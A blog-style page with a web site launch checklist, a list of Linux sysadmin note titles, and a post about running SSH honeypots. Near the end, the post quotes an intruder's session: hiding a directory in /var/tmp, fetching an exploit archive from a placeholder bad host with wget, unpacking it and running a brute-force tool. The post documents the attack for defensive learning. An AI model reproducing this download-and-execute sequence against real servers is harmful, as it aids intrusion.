Web Site Launch Checklist

Here's a web site launch checklist that you can use as a starting point an adapt to your situation.

There's also a more user-friendly Trello version that you can copy into your Trello boards.

5 Seconds

What & Why

  • Site explains in simple terms what it is about

  • If selling a product/service, clear call to action

  • Site answers the questions/actions for the audience it's intended: "show me the banana"

  • Usability test with target audience


Agreement / Contract

  • Scope / deliverables

  • Deadlines / milestones / penalties

  • NDA

  • Maintenance

  • Domain registration

  • Hosting

  • Payment terms

  • Copyrights & trademarks

  • Termination causes

  • Dealing with revisions

  • Copyright ownership

  • Dispute arbitration

  • Liability

  • 3rd Party agreements


  • Client signs off on web site launch



  • Check for grammar and spelling

  • Review typography

  • Proofread for consistency, "weasel words", style, flow etc, have people outside the project read the copy


  • If form sends email, test recipient, deliverability

  • Validate user input server-side (SQL injection, XSS etc)

  • Email form to user?

  • Forms are simplified (follow best practice for contact, credit card form)

Law & Regulations

  • Cookie disclaimer for EU countries

  • Privacy statement

  • PCI regulation if dealing with credit cards

  • Check for content without attribution, unauthorized copyrighted media etc

Sections / Items

  • "About Us" with address, phone

  • "Contact Us" form

  • Live chat utility

  • FAQ page

  • Search box

  • Social media links/icons

  • RSS link

  • Testimonials

Other Components

  • robots.txt file

  • favicon.ico file

  • Custom 404, 5xx error pages


  • Check validity of all internal links

  • Check validity of all external links

  • Use "nofollow" for paid links, untrusted links

  • Decide on internal absolute/relative links, be consistent



  • Tested in mobile (phone, tablet) clients

  • Tested in different browser versions

  • Tested for different resolutions

  • Tested without browser plugins (also JS disabled, cookies disabled)

  • Test with popular plugins installed

  • Print content CSS/link


  • Accessibility for visually-impaired

  • Color contrast for color-blindness


  • Quality content, keywords

  • Google webmaster / Yahoo Site Explorer account

  • Traffic analytics tool

  • Pages with descriptive, different titles

  • Description meta-tags

  • Use of HTML content tags

  • XML Sitemap

  • user and computer-friendly URLs with keywords


Risk Management

  • Automated, tested, frequent, off-side (encrypted) backups (files and database data)

  • Disaster recovery plan

  • External monitoring tools for availability & response time with SMS/email alerts

  • Dashboards/admin areas protected (password, 2FA...) and on SSL

  • No test/development code/tools left (ex: no public code error reporting)

  • Access to server/dashboards logged

  • Check with vulnerability scanner

  • SSL certificate properly installed, renewal alert

  • Domain name with auto-renewal and/or renewal alert

  • Web hosting contract (support type/times, renewal/alert/limits/overuse)


  • Decide on canonical domain (www or naked), redirect one to the other

  • Validation (HTML, JS, CSS)

  • No "hidden" sensitive values ("security by obscurity")

  • Evaluate pro/cons of self-hosted libraries or third-party hosting

  • If new site is a migration, test old URLs and pages redirect properly to new site

  • Site code versioned, backed-up

  • Automated internal test suite

  • Automated external (user/browser based) test suite

  • Manifest/README file with version/changes/deployment descriptions

  • Check applications (web server, db etc) logs for errors

  • In pages served on HTTPS, check that all calls to external content are HTTPS too

Capacity Planning

  • Load stress test

  • Scaling plan (horizontal, vertical, allowed downtime?)

  • Single Point of Failure?


  • Client-side check with YSlow, PageSpeed

  • Client-side check page component load times (Firebug etc)

  • Web server: serve compressed content

  • Web server: set up expire headers for browser caching

  • Serve cached static elements using CDN or a server reverse-proxy cache

  • Serve CSS files at the top of the page

  • Serve JS files at the bottom of the page

  • Minify JavaScript and CSS

  • Optimize images, specify their dimensions

  • Server: tuning (RAM) values for stack components (ex: web server, memcache, database)

Linux sysadmin notes

Updated the collection of my Linux system administration notes in Github, now it has reached 50 snippets:

Linux exclude a process from being killed by oom killer
Linux mini forensics on unknown running process
Django Celery
Postfix mail review
Run script detached from an SSH terminal
Linux Check SSL connection
rsync example
Linux Test cron
Linux renice many processes with the same name
PHP Send mail with Amazon AWS SES without extra library
Delete files in a folder older than a number of days
MySQL Master-Slave Replication
Create Java KeyStore from SSL certificate
Python script to test/monitor if a Django site using authentication is up
Linux "Too many files open" error
Apache2 optimization
Apache Redirect Subdomain to port
Linux find files opened for writing
Find Linux users that can log in with password
Apache security: installing mod_security
Linux Server Utilization
Linux disk/memory stress test
Linux honeypots
Linux remote syslog
Monitoring Plesk with Monit
Linux check DNS cache snooping
Linux shell here document on the fly
Heroku Python
Apache password protect directory
Linux making disk space
Mysql status, check & repair
Linux: Block IP with iptables
Replace relative to absolute URL in a file
Set permissions for web files & directories
Linux find IPs with most web connections
Linux monitor & react to event in log file
Defending against Spam using Linux Postfix
Apache optimization with Google's mod_pagespeed
Linux mail server for sending only
Linux Passwordless SSH
Linux better command history
Linux get email for SSH Logins
Linux SSH Filesystem
Linux cloning packages (Debian/Ubuntu)
Linux protecting critical directories
Linux file integrity with tripwire
Linux server monitoring with monit
Linux server stats with munin
Linux encryption and decryption
Linux Rootkit check
Linux disk space email alert


A honeypot is an application that simulates operating systems and network applications with vulnerabilities while silently logging the attacker's moves. The objective is to trap hackers and learn about their behaviour, collecting malware for analysis and also it can be used to distract the attacker from real systems.

I provisioned a VPS (Virtual Private Server) on the cloud and installed two honeypot systems (see https://gist.github.com/1870552 for notes on them). One honeypot application offers a secure shell (SSH) service and the other one simulates several services with well-known vulnerabilities.

The SSH honeypot had as 'root' (system administrator account) password '123456', which is the second most common password that malicious scanners try. Five hours after the server was created - with an IP address that may have been inactive for some time - I detected the first successful intrusion; a scanner being run by a malicious agent had detected the fake open SSH service and guessed its root password.

After running this server for a month I found there was 75 malicious uploads and 2,483 probes or exploit attempts from many parts of the world.

Here's an example of an intruder's SSH session, it's from a real interaction where I just did some editing for clarification.

First the attacker checks if someone is logged in and looks for some basic information about the system:

$ w
$ cat /proc/cpuinfo;uname -a;

Then he creates a somehow hidden directory (its name is just one space) in the temporary directory, which is usually writable by anyone and tgus a favorite destination for crackers:

$ cd /var/tmp;mkdir " ";cd " ";mkdir .ssh;cd .ssh;

Now he downloads a compressed exploit:

$ wget http://somebadsite.expl.tgz

Next he prepares the file, extracting it and making it executable:

$ tar xvf expl.tgz;rm -rf expl.tgz;cd expl;chmod +xw *

Finally he runs the malicious software, which in this case is a SSH brute force tool:

$ ./a1

The lesson here is that if you have a common network service exposed to the Internet with a weak password or a known vulnerability then it’s only a matter of hours or days until your server is compromised.